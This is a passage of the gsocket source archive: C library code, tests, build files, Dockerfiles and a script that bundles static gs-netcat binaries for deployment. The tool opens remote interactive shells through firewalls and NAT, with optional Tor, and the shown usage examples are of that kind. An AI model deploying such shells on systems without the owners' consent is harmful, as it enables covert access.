if (len <= 0) { if ((errno != EAGAIN) && (errno != EINTR)) return -1; err = SSL_ERROR_WANT_WRITE; } } if (len > 0) { errno = 0; gsocket->ts_net_io = GS_TV_TO_USEC(gsocket->ctx->tv_now); gsocket->bytes_written += len; if (gsocket->read_pending == 0) gs_ssl_want_io_finished(gsocket); gsocket->write_pending = 0; sctx->blocking_func[gsocket->fd] &= ~GS_CALLWRITE; FD_CLR(gsocket->fd, sctx->wfd); return len; } /* ERROR */ int ret; ret = 0; #if 1 sctx->blocking_func[gsocket->fd] |= GS_CALLWRITE; ret = gs_ssl_want_io_rw(sctx, gsocket->fd, err); #endif gsocket->write_pending = 1; // DEBUGF("write = %zd %s\n", len, strerror(errno)); return ret; } /****************************************************************************** * GS UTILS * ******************************************************************************/ /* * Convert usec into human readable string of duration. * '123hrs 59min 59.283sec' */ char * GS_usecstr(char *buf, size_t len, uint64_t usec) { static char buf2[64]; char *ptr = buf; if (buf == NULL) { len = sizeof buf2; ptr = buf2; } int sec; int min; int msec; int hr; // usec = (uint64_t)((2*60*60+61)*1000 + 123) * 1000; msec = (usec / 1000) % 1000; sec = usec / 1000000; hr = sec / 3600; sec -= hr * 3600; min = sec / 60; sec -= min * 60; *ptr = 0; if (hr != 0) snprintf(ptr, len, "%dhrs %2dmin %2d.%03dsec", hr, min, sec, msec); else snprintf(ptr, len, "%2d min %2d.%03d sec", min, sec, msec); return ptr; } /* * Convert bytes into human readable string (TB, MB, KB or B). */ char * GS_bytesstr(char *dst, size_t len, int64_t bytes) { static char buf2[64]; char *ptr = dst; if (dst == NULL) { len = sizeof buf2; ptr = buf2; } int i; bytes *= 100; for (i = 0; bytes >= 100*1000 && unit[i] != 'T'; i++) bytes = (bytes + 512) / 1024; snprintf(ptr, len, "%3lld.%1lld%c%s", (long long) (bytes + 5) / 100, (long long) (bytes + 5) / 10 % 10, unit[i], i ? "B" : " "); return ptr; } /* * Convert bytes into full length string with thousands seperation ',' */ char * GS_bytesstr_long(char *dst, size_t len, int64_t bytes) { if (dst == NULL) return NULL; int m = bytes / 1000 / 1000; bytes -= m * 1000 * 1000; int k = bytes / 1000; bytes -= k * 1000; if (m > 0) snprintf(dst, len, "%d,%03d,%03d", m, k, (int)bytes); else if (k > 0) snprintf(dst, len, "%d,%03d", k, (int)bytes); else snprintf(dst, len, "%d", (int)bytes); return dst; } /* * Create 'local' timestamp logfile style. */ const char * GS_logtime(void) { static char tbuf[64]; int s_errno = errno; // muslcc bug where localtime() sets errno to 2 or 22 on success. time_t t = time(NULL); strftime(tbuf, sizeof tbuf, "%c", localtime(&t)); errno = s_errno; return tbuf; } /* * Set the 'listen' token. This will stop a client (who knows the secret) to * impersonate a server (while the server is connected). * * A User might decide to use the same 'token' as a kind of master password * for all its servers. We like not to be able to track the User. Thus the * token is a hash over TOKEN-STRING + GS-ADDRESS. This makes every token unique * per GS-ADDRESS. * * FIXME: extend this later to use as an auth-token: * - store token on GS-net server side * - Any 'server' connecting must present same token to be allowed * to send pkt-listen message. * - User can control this with e.g. '-a ' */ void GS_set_token(GS *gs, const void *data, size_t len) { unsigned char md[SHA256_DIGEST_LENGTH]; uint8_t *input; if (data == NULL) RAND_bytes(gs->token, sizeof gs->token); else { input = malloc(len + sizeof gs->gs_addr.addr); memcpy(input, data, len); memcpy(input + len, gs->gs_addr.addr, sizeof gs->gs_addr.addr); SHA256(input, len + sizeof gs->gs_addr.addr, md); memcpy(gs->token, md, sizeof gs->token); free(input); } HEXDUMPF(gs->token, sizeof gs->token, "Token:\n"); } int GS_is_server(GS *gs) { return gs->flags & GS_FL_IS_SERVER; } gsocket-1.4.41/lib/Makefile.am0000755000175000017500000000065614503376047015771 0ustar epsilonepsilonnoinst_LIBRARIES = libgsocket.a noinst_PROGRAMS = @PROGRAMS_TEST_LIB@ EXTRA_PROGRAMS = list-test event-test libgsocket_a_SOURCES = gsocket-util.c gsocket-select.c gsocket-ssl.c gsocket-engine.c packet.c gs-readline.c list.c event.c buf.c list_test_SOURCES = list-test.c list_test_LDADD = libgsocket.a event_test_SOURCES = event-test.c event_test_LDADD = libgsocket.a noinst_HEADERS = gs-common.h gs-externs.h gsocket-engine.h gsocket-1.4.41/lib/gs-readline.c0000644000175000017500000001162314503376047016264 0ustar epsilonepsilon#include "gs-common.h" #include #include "gs-externs.h" #define GS_RL_DEL 0x7f /* ^? */ int GS_RL_init(GS_RL_CTX *rl, int len) { memset(rl, 0, sizeof *rl); rl->visible_len = MIN(GS_RL_VISIBLE_MAX, len); rl->row = -1; return 0; } /* */ static void handle_backspace(GS_RL_CTX *rl) { if (rl->pos > 0) rl->pos--; rl->line[rl->pos] = 0x00; } /* * Create visible characters based on normal 'key' input * and limited to visible_len (may add '..' to start) * * Create esc-sequence to handle arrow/del/backspace * * Might be called with key == 0 on resize. */ static void visible_create(GS_RL_CTX *rl, int row, int col, uint8_t key) { char *s_end = rl->line + rl->pos; char *src = rl->line; // Location of prompt has changed (window resize?) if ((rl->row != row) || (rl->col != col)) { // First time. Assume caller has cursor in correct pos if (rl->row != -1) rl->is_need_redraw = 1; rl->row = row; rl->col = col; } if (rl->pos > rl->visible_len) rl->is_need_redraw = 1; if ((rl->v_pos == 0) && (key == GS_RL_DEL)) { // No data left to delete. Skip. rl->esc_len = 0; goto done; } if (rl->is_need_redraw == 0) { /* Try to just add character */ if (rl->pos == rl->visible_len) { // From ".." to "" rl->is_need_redraw = 1; } else if (rl->pos < rl->visible_len) { if (key == GS_RL_DEL) { // Move left, print \s, move left memcpy(rl->esc_data, "\x1B[D \x1B[D", 7); rl->esc_len = 7; goto done; } rl->esc_data[0] = key; rl->esc_len = 1; rl->vline[rl->v_pos] = key; goto done; } } if (rl->pos > rl->visible_len) src = s_end - rl->visible_len; char *d_end = rl->esc_data + GS_RL_ESC_MAX - 1; char *ptr = rl->esc_data; if (rl->is_need_redraw) { DEBUGF_Y("moving to %d;%df\n", row, col); SXPRINTF(ptr, d_end - ptr, "\x1B[%d;%df", row, col); } size_t len; len = MIN(s_end - src, d_end - ptr); memcpy(ptr, src, len); // Set '..' is larger than visible length... if (rl->pos > rl->visible_len) memset(ptr, '.', 2); len = MIN(rl->visible_len, rl->pos); memcpy(rl->vline, ptr, len); len = ptr - rl->esc_data + len; XASSERT(len < sizeof (rl->esc_data), "BO len = %zd\n", len); rl->esc_data[len] = 0x00; rl->esc_len = len; rl->is_need_redraw = 0; done: rl->v_pos = MIN(rl->visible_len, rl->pos); rl->vline[rl->v_pos] = 0x00; } void GS_RL_reset(GS_RL_CTX *rl) { size_t vl = rl->visible_len; int row = rl->row; DEBUGF_Y("RL reset\n"); memset(rl, 0, sizeof *rl); rl->visible_len = vl; rl->row = row; } /* * len is the length. * row/col is the starting position of the prompt. * * Should be called every time the screen resizes. */ void GS_RL_resize(GS_RL_CTX *rl, int len, int row, int col) { rl->visible_len = MIN(GS_RL_VISIBLE_MAX, len); rl->row = 0; // triggers a is_need_redraw := 1 visible_create(rl, row, col, 0); } /* * Offer data to readline. * * row/col are the cordinated where the input line starts (and to which pos) * the cursor resets when '\n' is hit. * * Return <0 if it was an unhandled control character (stored in *key) * This is also set if \n is pressed (end of readline input) * Return 1 if more data is required. */ int GS_RL_add(GS_RL_CTX *rl, uint8_t c, uint8_t *key, int row, int col) { uint8_t k = 0; // rl->is_need_redraw = 1; // DEFAULT: FIXME-PERFORMANCE // ^A or ^OA DEBUGF_W("esc=%d c=0x%02x r%d,c%d\n", rl->is_in_esc, c, row, col); if (rl->is_in_esc) { if ((rl->is_in_esc == 1) && (c == 'O')) { rl->is_in_esc = 2; return 1; // More data required. } int rv = 1; if ((c >= 'a') && (c <= 'z')) rv = 0; else if ((c >= 'A') && (c <= 'Z')) rv = 0; if (rv == 1) return 1; // More data required. DEBUGF_W("Out of ESC with c = 0x%02x\n", c); rl->is_in_esc = 0; k = c; } if (k != 0) { // Cursor left if (k == 'D') { handle_backspace(rl); visible_create(rl, row, col, GS_RL_DEL); return 1; } // Any other cursor // if ((k == 'A') || (k == 'B') || (k == 'C')) // return 1; goto ret_unhandled; } if (c == 0x1b) { DEBUGF_W("Going into escape\n"); rl->esc_len = 0; rl->is_in_esc = 1; return 1; // More data required } if ((c == GS_RL_DEL /*^?*/) || (c == 0x08 /*^H*/)) { // Backspace handle_backspace(rl); visible_create(rl, row, col, GS_RL_DEL); return 1; } if (c == '\r') c = '\n'; // treat all \r as \n k = c; if (c == '\n') { /* Enter pressed */ rl->line[rl->pos] = 0x00; rl->len = rl->pos; /* Delete visible input from screen */ if (rl->pos > 0) { rl->esc_len = 0; rl->v_pos = 0; } rl->pos = 0; goto ret_unhandled; } // Unhandled control character if ((c < 0x20) || (c > 0x7E)) { DEBUGF("Unhandled: 0x%02x\n", c); goto ret_unhandled; } if (rl->pos >= GS_RL_LINE_MAX) return 1; rl->line[rl->pos] = c; rl->pos++; rl->line[rl->pos] = 0x00; visible_create(rl, row, col, c); return 1; ret_unhandled: rl->esc_len = 0; *key = k; return -1; } gsocket-1.4.41/lib/buf.c0000644000175000017500000000466414503376047014655 0ustar epsilonepsilon/* * A FIFO like buffer to. Used by file transfer as a write-buffer to queue * control messages (such as chn_accept, chn_error, ...). */ #include "gs-common.h" #include #include "gs-externs.h" void GS_BUF_init(GS_BUF *gsb, size_t sz_max_add) { memset(gsb, 0, sizeof *gsb); gsb->sz_max_add = sz_max_add; // gsb->sz_total = 16*1024*1024; // FIXME // gsb->data = malloc(gsb->sz_total); // FIXME GS_BUF_resize(gsb, 0); } void GS_BUF_free(GS_BUF *gsb) { XFREE(gsb->data); memset(gsb, 0, sizeof *gsb); } // Adjust size to have at least sz_min_free available. int GS_BUF_resize(GS_BUF *gsb, size_t sz_new) { if (GS_BUF_UNUSED(gsb) >= sz_new + gsb->sz_max_add) return 0; size_t t = gsb->sz_used + sz_new + gsb->sz_max_add; // Round the new size to the next 1k boundary gsb->sz_total = t - (t % 1024) + 1024; DEBUGF_R("realloc to %zu, used %zu\n", gsb->sz_total, gsb->sz_used); gsb->data = realloc(gsb->data, gsb->sz_total); if (gsb->data == NULL) { // Fatal. GS_BUF_free(gsb); return -1; } return 0; } int GS_BUF_add_length(GS_BUF *gsb, size_t len) { // Bail. There is sz_max_add space available but looks like caller wrote // more data... XASSERT(len <= GS_BUF_UNUSED(gsb), "Not enough space in buffer\n"); gsb->sz_used += len; // Resize GS_BUF_resize(gsb, 0); return 0; } int GS_BUF_add_data(GS_BUF *gsb, void *data, size_t len) { GS_BUF_resize(gsb, len); memcpy((uint8_t *)gsb->data + gsb->sz_used, data, len); gsb->sz_used += len; return 0; } int GS_BUF_printf(GS_BUF *gsb, const char *fmt, ...) { va_list ap; int rv; va_start(ap, fmt); rv = vsnprintf((char *)GS_BUF_WDST(gsb), GS_BUF_UNUSED(gsb), fmt, ap); va_end(ap); if (rv <= 0) return 0; if (rv >= GS_BUF_UNUSED(gsb)) { // Make buffer larger... GS_BUF_resize(gsb, rv - GS_BUF_UNUSED(gsb) + 1 /*\0*/); va_start(ap, fmt); rv = vsnprintf((char *)GS_BUF_WDST(gsb), GS_BUF_UNUSED(gsb), fmt, ap); va_end(ap); if (rv <= 0) return 0; } gsb->sz_used += rv; GS_BUF_resize(gsb, 0); return 0; } int GS_BUF_memmove(GS_BUF *gsb, void *data, size_t len) { GS_BUF_resize(gsb, len); memmove((uint8_t *)gsb->data + gsb->sz_used, data, len); gsb->sz_used += len; return 0; } /* * Consume data from beginning. */ int GS_BUF_del(GS_BUF *gsb, size_t len) { XASSERT(gsb->sz_used >= len, "Cant. used=%zu, len=%zu\n", gsb->sz_used, len); gsb->sz_used -= len; memmove(gsb->data, (uint8_t *)gsb->data + len, gsb->sz_used); return 0; } gsocket-1.4.41/lib/list-test.c0000644000175000017500000000443214503376047016022 0ustar epsilonepsilon#include "gs-common.h" #include #include "gs-externs.h" static void output(GS_LIST *list) { GS_LIST_ITEM *li = NULL; while (1) { li = GS_LIST_next(list, li); if (li == NULL) break; DEBUGF("add_id = %d, id = %"PRIu64"\n", li->add_id, li->id); } } static void check_order(GS_LIST *list) { // Check order is still ok int n = 0; GS_LIST_ITEM *li = NULL; GS_LIST_ITEM *next; while (1) { li = GS_LIST_next(list, li); if (li == NULL) break; next = (GS_LIST_ITEM *)li->next; if (next != NULL) { XASSERT(li->id <= next->id, "not in order %"PRIu64" <= %"PRIu64"\n", li->id, next->id); if (li->id == next->id) { XASSERT(li->add_id < next->add_id, "Wrong order\n"); } } n++; } } int main(int argc, char *argv[]) { GS_LIST list; GS_library_init(stderr, stderr, NULL); srand(time(NULL)); GS_LIST_init(&list, 0); GS_LIST_ITEM *li = NULL; //Check that GS_LIST_next() is working int n = 0; while (1) { li = GS_LIST_next(&list, li); if (li == NULL) break; n += 1; } XASSERT(n == 0, "n is %d != 0\n", n); // Add entries with random id's. int max = 10000; n = 0; uint64_t id; int max_id = 20; while (n < max) { id = rand() % max_id; GS_LIST_add(&list, NULL, "dummy data", id); // Check order after every entry check_order(&list); n++; } int total = n; // output(&list); DEBUGF("Items in list: %d\n", list.n_items); // Delete / Add randomly until no items are left int chance; int pos; int del_count = 0; int add_count = 0; while (total > 0) { chance = 0; chance = rand() % 3; // 1/3 chance for GS_LIST_add() if (chance == 2) { id = rand() % max_id; GS_LIST_add(&list, NULL, "new dummy", id); total += 1; add_count += 1; check_order(&list); continue; } pos = rand() % total; li = GS_LIST_by_pos(&list, pos); XASSERT(li != NULL, "requested pos that doesnt exist (pos = %d, total = %d)\n", pos, total); GS_LIST_del(li); check_order(&list); total--; del_count += 1; check_order(&list); } XASSERT(del_count == add_count + max, "Oops. deleted = %d but total+add = %d\n", del_count, add_count + max); output(&list); DEBUGF("Randomly added while deleting at the same: %d\n", add_count); DEBUGF("Items in list: %d\n", list.n_items); DEBUGF("hello world\n"); return 0; } gsocket-1.4.41/lib/event-test.c0000644000175000017500000000213014503376047016161 0ustar epsilonepsilon#include "gs-common.h" #include #include "gs-externs.h" static int cb_event(void *ptr) { #ifdef DEBUG GS_EVENT *event = (GS_EVENT *)ptr; #endif DEBUGF("Event callback...(data = '%s', len = %zd)\n", (char *)event->data, event->len); return 0; } int main(int argc, char *argv[]) { GS_EVENT_MGR mgr; GS_EVENT my_e; GS_EVENT *my_e_ptr; GS_library_init(stderr, stderr, NULL); srand(time(NULL)); GS_EVENT_MGR_init(&mgr); my_e_ptr = GS_EVENT_add_by_ts(&mgr, NULL, 0, GS_SEC_TO_USEC(1), cb_event, "foobar", 7); // Every 2 seconds return to caller my_e_ptr = GS_EVENT_add_by_ts(&mgr, NULL, 0, GS_SEC_TO_USEC(2), NULL, "caller-action", 7); GS_EVENT_add_by_ts(&mgr, &my_e, 0, GS_MSEC_TO_USEC(437), cb_event, "foobar500", 31337); if (my_e_ptr == NULL) ERREXIT("add_by_ts()\n"); uint64_t wait; while (1) { wait = GS_EVENT_execute(&mgr); DEBUGF_G("Next event in %"PRIu64" usec\n", wait); if (mgr.is_return_to_caller) DEBUGF_C("Return to caller triggered\n"); usleep(wait); // GS_EVENT_del(my_e_ptr); // my_e_ptr = NULL; // GS_EVENT_DEL(&my_e); } return 0; } gsocket-1.4.41/lib/gs-externs.h0000644000175000017500000000043214503376047016172 0ustar epsilonepsilon #ifndef __LIBGSOCKET_GS_EXTERNS_H__ #define __LIBGSOCKET_GS_EXTERNS_H__ 1 #ifdef DEBUG extern FILE *gs_dout; extern int gs_did; extern int gs_debug_level; #endif extern FILE *gs_errfp; void gs_log(int type, int level, char *fmt, ...); #endif /* !__LIBGSOCKET_GS_EXTERNS_H__ */ gsocket-1.4.41/packaging/0000755000175000017500000000000014503376047015101 5ustar epsilonepsilongsocket-1.4.41/packaging/debian-deb/0000755000175000017500000000000014503376047017053 5ustar epsilonepsilongsocket-1.4.41/packaging/debian-deb/build.sh0000755000175000017500000000165014503376047020513 0ustar epsilonepsilon#! /bin/bash test -d /gsocket-src || { echo >&2 "/gsocket-src does not exists."; exit 255; } test -d /gsocket-deb || { echo >&2 "/gsocket-deb does not exists."; exit 255; } [[ -z "$VER" ]] && { echo >&2 "VER not set"; exit 255; } PREFIX="/gsocket-deb/build/gsocket_${VER}_all" [[ -e "${PREFIX}" ]] && rm -rf "${PREFIX:?}" mkdir -p "${PREFIX}/DEBIAN" && \ sed "s/@@VER@@/$VER/" < /gsocket-deb/DEBIAN/control.in >"${PREFIX}/DEBIAN/control" && \ cd /gsocket-src && \ ./configure --prefix="${PREFIX}/usr" --enable-realprefix=/usr && \ make install && \ cd /gsocket-deb/build && \ mv "${PREFIX}/usr/etc" "${PREFIX}" && \ find "$PREFIX" -type d -exec chmod 755 {} \; && \ dpkg-deb --build gsocket_${VER}_all/ && \ dpkg -i "gsocket_${VER}_all.deb" && \ dpkg -r gsocket && \ dpkg -l | grep gsocket || IS_OK=1 [[ -z "$IS_OK" ]] && { echo >&2 "error"; exit 255; } mv "gsocket_${VER}_all.deb" "/gsocket-pkg/build" || exit 255 echo "SUCCESS." gsocket-1.4.41/packaging/debian-deb/DEBIAN/0000755000175000017500000000000014503376047017775 5ustar epsilonepsilongsocket-1.4.41/packaging/debian-deb/DEBIAN/control.in0000755000175000017500000000043514503376047022012 0ustar epsilonepsilonPackage: gsocket Version: @@VER@@ Homepage: https://gsocket.io Architecture: all Essential: no Priority: optional Depends: sshfs Maintainer: Skyper/THC Description: The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP connection with each other. Securely. gsocket-1.4.41/packaging/debian-deb/build_all.sh0000755000175000017500000000153714503376047021347 0ustar epsilonepsilon#! /bin/bash BASEDIR="$(cd "$(dirname "${0}")/../.." || exit; pwd)" VER="$(grep AC_INIT "${BASEDIR}/configure.ac" | cut -f3 -d"[" | cut -f1 -d']')" PKGDIR="${BASEDIR}/packaging" SRCDIR="${BASEDIR}/packaging/build/gsocket-${VER}" DEBDIR="${BASEDIR}/packaging/debian-deb" if [[ ! -f "${SRCDIR}/configure.ac" ]]; then tar_orig="${BASEDIR}/gsocket-${VER}.tar.gz" [[ -f "$tar_orig" ]] && (cd "${BASEDIR}/packaging/build" && tar xfz "$tar_orig") fi [[ -d "$SRCDIR" ]] || { echo >&2 "Source not found: $SRCDIR or ${tar_orig}."; exit 255; } dockername="gs-x86_64-debian-devel" docker run --rm -it "${dockername}" true || (cd "${DEBDIR}" && docker build -t "${dockername}" . ) || { exit 255; } docker run --rm -v "${PKGDIR}:/gsocket-pkg" -v "${SRCDIR}:/gsocket-src" -v "${DEBDIR}:/gsocket-deb" -e VER=$VER -it "${dockername}" /gsocket-deb/build.sh || { exit 255; } gsocket-1.4.41/packaging/debian-deb/Dockerfile0000644000175000017500000000047414503376047021052 0ustar epsilonepsilon# Debian: :stable still runs on openssl-1.1.0 and but kali and most debian # derived need openssl3. FROM debian:sid RUN apt update -y && \ apt install -y --no-install-recommends git sshfs libssl-dev libc6-dev automake gcc make curl ca-certificates && \ apt clean && \ rm -rf /var/lib/apt/lists/ && \ echo done gsocket-1.4.41/packaging/openwrt/0000755000175000017500000000000014503376047016577 5ustar epsilonepsilongsocket-1.4.41/packaging/openwrt/gsocket/0000755000175000017500000000000014503376047020236 5ustar epsilonepsilongsocket-1.4.41/packaging/openwrt/gsocket/test.sh0000755000175000017500000000005214503376047021551 0ustar epsilonepsilon#!/bin/sh gs-netcat -h 2>&1 | grep "$2" gsocket-1.4.41/packaging/openwrt/gsocket/Makefile0000644000175000017500000000510214503376047021674 0ustar epsilonepsiloninclude $(TOPDIR)/rules.mk PKG_NAME:=gsocket PKG_VERSION:=1.4.39 PKG_RELEASE:=1 PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz PKG_SOURCE_URL:=https://github.com/hackerschoice/gsocket/releases/download/v$(PKG_VERSION)/ PKG_HASH:=2042b3773e03285939fe7f0d0597a77c8d4958644b1d8a366cc71d384f1e5c30 PKG_MAINTAINER:=Ralf Kaiser PKG_LICENSE:=BSD-2-Clause PKG_LICENSE_FILES:=LICENSE include $(INCLUDE_DIR)/package.mk define Package/gsocket SECTION:=net CATEGORY:=Network DEPENDS:=+libopenssl TITLE:=Connect like there is no firewall URL:=https://gsocket.io endef define Package/gsocket/description Global Socket allows two workstations on different private networks to communicate with each other. Through firewalls and through NAT - like there is no firewall. The TCP connection is secured with AES-256 and using OpenSSL's SRP protocol (RFC 5054). It does not require a PKI and has forward secrecy and (optional) TOR support. The gsocket tools derive temporary session keys and IDs and connect two TCP pipes through the Global Socket Relay Network (GSRN). This is done regardless and independent of the local IP Address or geographical location. The session keys (secrets) never leave the workstation. The GSRN sees only the encrypted traffic. The workhorse is 'gs-netcat' which opens a ssh-like interactive PTY command shell to a remote workstation (which resides on a private and remote network and/or behind a firewall). endef define Build/Configure $(call Build/Configure/Default,--with-linux-headers=$(LINUX_DIR) --libdir=$(STAGING_DIR)/usr/lib --includedir=$(STAGING_DIR)/usr/include) endef define Build/Compile $(MAKE) -C $(PKG_BUILD_DIR) \ LD="$(TARGET_CXX)" \ all endef define Package/gsocket/install $(INSTALL_DIR) $(1)/bin $(INSTALL_DIR) $(1)/share/gsocket $(INSTALL_DIR) $(1)/lib $(INSTALL_DIR) $(1)/etc $(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs-sftp $(1)/bin/ $(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs-mount $(1)/bin/ $(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/blitz $(1)/bin/ $(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gsocket $(1)/bin/ $(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs-netcat $(1)/bin/ $(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs_funcs $(1)/share/gsocket/ $(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gsocket_uchroot_dso.so.0 $(1)/lib/ $(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gsocket_dso.so.0 $(1)/lib/ $(INSTALL_CONF) $(PKG_BUILD_DIR)/tools/gsocket.conf $(1)/etc/ endef $(eval $(call BuildPackage,gsocket)) gsocket-1.4.41/packaging/openwrt/release.sh0000755000175000017500000000152014503376047020554 0ustar epsilonepsilon#! /bin/bash BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)" # r/gsocket/packaging/openwrt source "${BASEDIR}/../../test-build/build_inc.sh" OPENWRT_vars_init [[ -z $OWRT_FEEDDIR ]] && ERREXIT "OWRT_FEEDDIR is empty. ~/research/openwrt not exist?" [[ ! -d "$OWRT_FEEDDIR/net/gsocket" ]] && mkdir -p "${OWRT_FEEDDIR}/net/gsocket" OPENWRT_update_makefile # from r/gsocket/packaging/openwrt/gsocket/* to /r/openwrt/packages/net/gsocket cp "${BASEDIR}/gsocket/Makefile" "${OWRT_FEEDDIR}/net/gsocket" cp "${BASEDIR}/gsocket/test.sh" "${OWRT_FEEDDIR}/net/gsocket" echo "Press enter to push release $VER" read (cd "$OWRT_FEEDDIR/net/gsocket" && \ git add Makefile test.sh && \ git commit --amend --author="Ralf Kaiser " --no-edit --signoff -m "gsocket: upstream update to $VER" && \ git push --force-with-lease origin master) gsocket-1.4.41/packaging/docker/0000755000175000017500000000000014503376047016350 5ustar epsilonepsilongsocket-1.4.41/packaging/docker/gsocket-tor/0000755000175000017500000000000014503376047020611 5ustar epsilonepsilongsocket-1.4.41/packaging/docker/gsocket-tor/Dockerfile0000644000175000017500000000031614503376047022603 0ustar epsilonepsilonFROM hackerschoice/gsocket WORKDIR /root/ RUN apt-get update -y \ && apt-get install -y --no-install-recommends \ tor \ && touch /root/.gs_with_tor \ && apt-get clean \ && rm -rf /var/lib/apt/lists/ gsocket-1.4.41/packaging/docker/gsocket/0000755000175000017500000000000014503376047020007 5ustar epsilonepsilongsocket-1.4.41/packaging/docker/gsocket/bashrc0000644000175000017500000000102514503376047021172 0ustar epsilonepsilon [[ -f /etc/gs-motd ]] && echo -e "$(cat /etc/gs-motd)" export SHELL=/bin/bash export TERM=xterm-256color if [[ -f ~/.gs_with_tor ]]; then #PS1='${debian_chroot:+($debian_chroot)}\u@\h-\e[0;32mTOR\e[0m:\e[0;33m\w\e[0m\$ ' export GSOCKET_SOCKS_IP=127.0.0.1 export GSOCKET_SOCKS_PORT=9050 pidof tor >/dev/null || { tor --quiet & } echo -e "TOR : \033[1;32menabled\033[0m - to disable execute 'unset GSOCKET_SOCKS_IP'" else echo -e "TOR : \033[1;31mDISABLED\033[0m - use hackerschoice/gsocket-tor for TOR support." fi gsocket-1.4.41/packaging/docker/gsocket/gs-motd0000644000175000017500000000172314503376047021307 0ustar epsilonepsilon# Start this docker like so to access your ~/hax directory (optional): [\033[0;33mhost\033[0m ] $ \033[1;34mdocker run --rm -it --name gsocket -v ~/hax:/hax hackerschoice/gsocket\033[0m # And this command to have a second shell: [\033[0;33mhost\033[0m ] $ \033[1;34mdocker exec -it gsocket bash\033[0m Test your setup: [\033[0;33mdocker\033[0m] $ \033[1;34mgs-sftp -s thctestserver\033[0m Transfer files to a friend who has 'blitz -s foobar -l' running: [\033[0;33mdocker\033[0m] $ \033[1;34mblitz -s foobar /hax/./mp3/*\033[0m FTP to a friend who has 'gs-sftp -s foobar -l' running: [\033[0;33mdocker\033[0m] $ \033[1;34mgs-sftp -s foobar\033[0m Login to a friend's computer who has 'gs-netcat -s foobar -il' running: [\033[0;33mdocker\033[0m] $ \033[1;34mgs-netcat -s foobar -i\033[0m Help : gs-netcat -m | more Commands: gs-netcat, gs-sftp, gs-mount, blitz Latest : \033[1;35mhttps://www.gsocket.io\033[0m Shoutz : Yogee for ideas & testinggsocket-1.4.41/packaging/docker/gsocket/Dockerfile0000644000175000017500000000063414503376047022004 0ustar epsilonepsilonFROM kalilinux/kali-rolling # Must be debian compiled binaries: COPY gsocket_latest_all.deb /tmp COPY gs-motd /etc/ COPY bashrc /tmp WORKDIR /root/ RUN apt update -y && \ apt install -y --no-install-recommends \ vim \ binutils \ openssl \ rsync \ openssh-server \ sshfs && \ apt-get clean && \ rm -rf /var/lib/apt/lists/ && \ dpkg -i /tmp/gsocket_latest_all.deb && \ cat /tmp/bashrc >>/root/.bashrc gsocket-1.4.41/packaging/deploy-all/0000755000175000017500000000000014503376047017143 5ustar epsilonepsilongsocket-1.4.41/packaging/deploy-all/deploy-all_head.sh0000755000175000017500000000127214503376047022527 0ustar epsilonepsilon#! /usr/bin/env bash # Extract deploy.sh and binary packages from _this script_ PKG_DIR="gs-pkg" errexit() { [[ -z "$1" ]] || echo -e 1>&2 "ERROR: ${CR}$*${CN}" exit 255 } check_file() { [[ -f "$1" ]] || errexit "Not found: $1" } check_file "$0" lc=0 while read -r l; do lc=$((lc + 1)) [[ "$l" = "# ---END---" ]] && break done <"$0" [[ $lc -eq 0 ]] && errexit "Cant determine my own file size." # Skip all lines until ---END--- and then untar binaries (head -n"${lc}" >/dev/null; tar xfz -)<"$0" check_file "${PKG_DIR}/deploy.sh" chmod 755 "${PKG_DIR}/deploy.sh" (cd "${PKG_DIR}" && GS_USELOCAL=1 ./deploy.sh) rm -rf ./"${PKG_DIR}" exit 0 # Do not change the next line # ---END--- gsocket-1.4.41/packaging/deploy-all/mk_deploy-all.sh0000755000175000017500000000222614503376047022235 0ustar epsilonepsilon#! /usr/bin/env bash # Create deploy-all.sh: # - Create a tar file containing all static binaries and deploy.sh # - Create shell script with deploy-all_head.sh and append tar file to it. BASEDIR="$(cd "$(dirname "${0}")/../../" || exit; pwd)" source "${BASEDIR}/packaging/build_funcs" targets="x86_64-alpine i386-alpine aarch64-linux arm-linux x86_64-osx x86_64-cygwin i686-cygwin mips64-alpine mips32-alpine mipsel32-alpine x86_64-freebsd" # targets="x86_64-alpine x86_64-osx" PKG_DIR="gs-pkg" FILE_DEPLOY_SH="../../deploy/deploy.sh" errexit() { [[ -z "$1" ]] || echo -e 1>&2 "ERROR: ${CR}$*${CN}" exit 255 } check_file() { [[ -f "$1" ]] || errexit "Not found: $1" } check_file deploy-all_head.sh check_file "${FILE_DEPLOY_SH}" rm -rf ./"$PKG_DIR" mkdir "$PKG_DIR" 2>/dev/null for osarch in $targets; do fn="gs-netcat_${osarch}.tar.gz" f="../gsnc-deploy-bin/${fn}" check_file "$f" ln -s "../${f}" "${PKG_DIR}/${fn}" done ln -s ../"${FILE_DEPLOY_SH}" "${PKG_DIR}/deploy.sh" (cat deploy-all_head.sh; "${GTAR_BIN}" cfhz - --owner=0 --group=0 "$PKG_DIR") >deploy-all.sh chmod 755 deploy-all.sh ls -al deploy-all.sh [[ -d "$PKG_DIR" ]] && rm -rf "${PKG_DIR}" gsocket-1.4.41/packaging/gsnc-deploy-bin/0000755000175000017500000000000014503376047020073 5ustar epsilonepsilongsocket-1.4.41/packaging/gsnc-deploy-bin/docker/0000755000175000017500000000000014503376047021342 5ustar epsilonepsilongsocket-1.4.41/packaging/gsnc-deploy-bin/docker/x86_64-debian/0000755000175000017500000000000014503376047023520 5ustar epsilonepsilongsocket-1.4.41/packaging/gsnc-deploy-bin/docker/x86_64-debian/Dockerfile0000644000175000017500000000110514503376047025507 0ustar epsilonepsilonFROM debian ENV OPENSSL_VER=1.1.1k ENV OPENSSL_ARCH=linux-generic64 RUN apt update -y && \ apt install -y --no-install-recommends libc6-dev automake gcc make curl ca-certificates && \ apt clean && \ rm -rf /var/lib/apt/lists/ && \ curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \ | tar -xzC /tmp/ && \ cd /tmp/openssl-${OPENSSL_VER} && \ ./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \ make install_sw && \ rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \ echo done 